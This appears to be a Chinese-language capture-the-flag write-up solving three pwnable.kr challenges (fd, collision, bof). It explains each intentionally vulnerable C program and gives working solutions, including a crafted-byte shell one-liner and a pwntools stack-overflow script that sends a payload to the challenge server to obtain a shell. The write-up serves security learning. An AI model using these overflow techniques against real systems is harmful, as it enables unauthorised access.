pwnable.kr记录

pwnable.kr总结

fd

题目:
mark

连上ssh看一下
mark

有三个文件,flag没有权限,所以先cat fd.c看一下fd的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

程序接收一个参数argv[1]并且转换为int型,然后减去0x1234
读入buf后与LETMEWIN比较,如果相同则可以得到flag
fd为0时是stdin(标准输入),即可以在buf中输入我们想要的字符
故运行程序时候的输入0x1234的十进制4660即可
mark

collision

跟上一道题一样,ssh连过去
mark

同样先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

输入必须是20个字符,输入20个字符后进入check_password函数。
进入check_password函数后,会将传进来的长度为20的字符串p进行(int * )强制转换,char是1个字节,4个字节为一组,一共5组,正好20个字节。
接着把每4个字符看成1个int型的数字,进行5次循环,结果放入res中。

同时这里需要注意是把四个字节的字符串当成了一个数,假如我们这里的输入是1234123412341234,即是把1234在内存中的ascii码(31 32 33 34)当成了一个数 (小端格式)

所以只需要找到5次累加后与0x21DD09EC相等的字符串的ascii码输入进去,即可获取flag
0x21DD09EC无法整除5,所以先减去4,再除以5
最后的组合为:0x06c5cec8 * 4 + 0x06c5cecc

exp:
./col $(python -c "print '\xc8\xce\xc5\x06' * 4 + '\xcc\xce\xc5\x06'")

总结

1.指针转换

1
2
3
4
5
6
7
8
char * p1 = "1234"
p1[1] -> "1"

int * p2 = "1234"
p2[1] -> "1234"

int * p3 = (int *)p1;
p3[1] -> "1234"

2.内存存储
exp为小端格式
要学会调试,调试可以看到内存中的状态等等等等

bof

给了源码和连接方式
mark

先看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

只要key == 0xcafebabe 就会调用shell,所以只要让key等于0xcafebabe即可。可以利用gets这个函数的输入,使得溢出func(0xdeadbeef)。

mark
拖进ida f5后发现字符串s是从[ebp-2Ch]开始进入栈缓冲区的,所以只需要覆盖0x2c个字节,再加上ebp和eip就可以覆盖到func的参数。(0x2c十进制是44,ebp和eip都占4字节,所以44+8=52)

mark

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
#-*-coding:utf-8-*-
from pwn import *

key = p32(0xcafebabe) #p32代表小端

c = remote("pwnable.kr", 9000)

# for i in range(32,100):
# c.sendline("a"*i + key)

c.sendline("a"*52 + key) #前52个字符任意

c.interactive()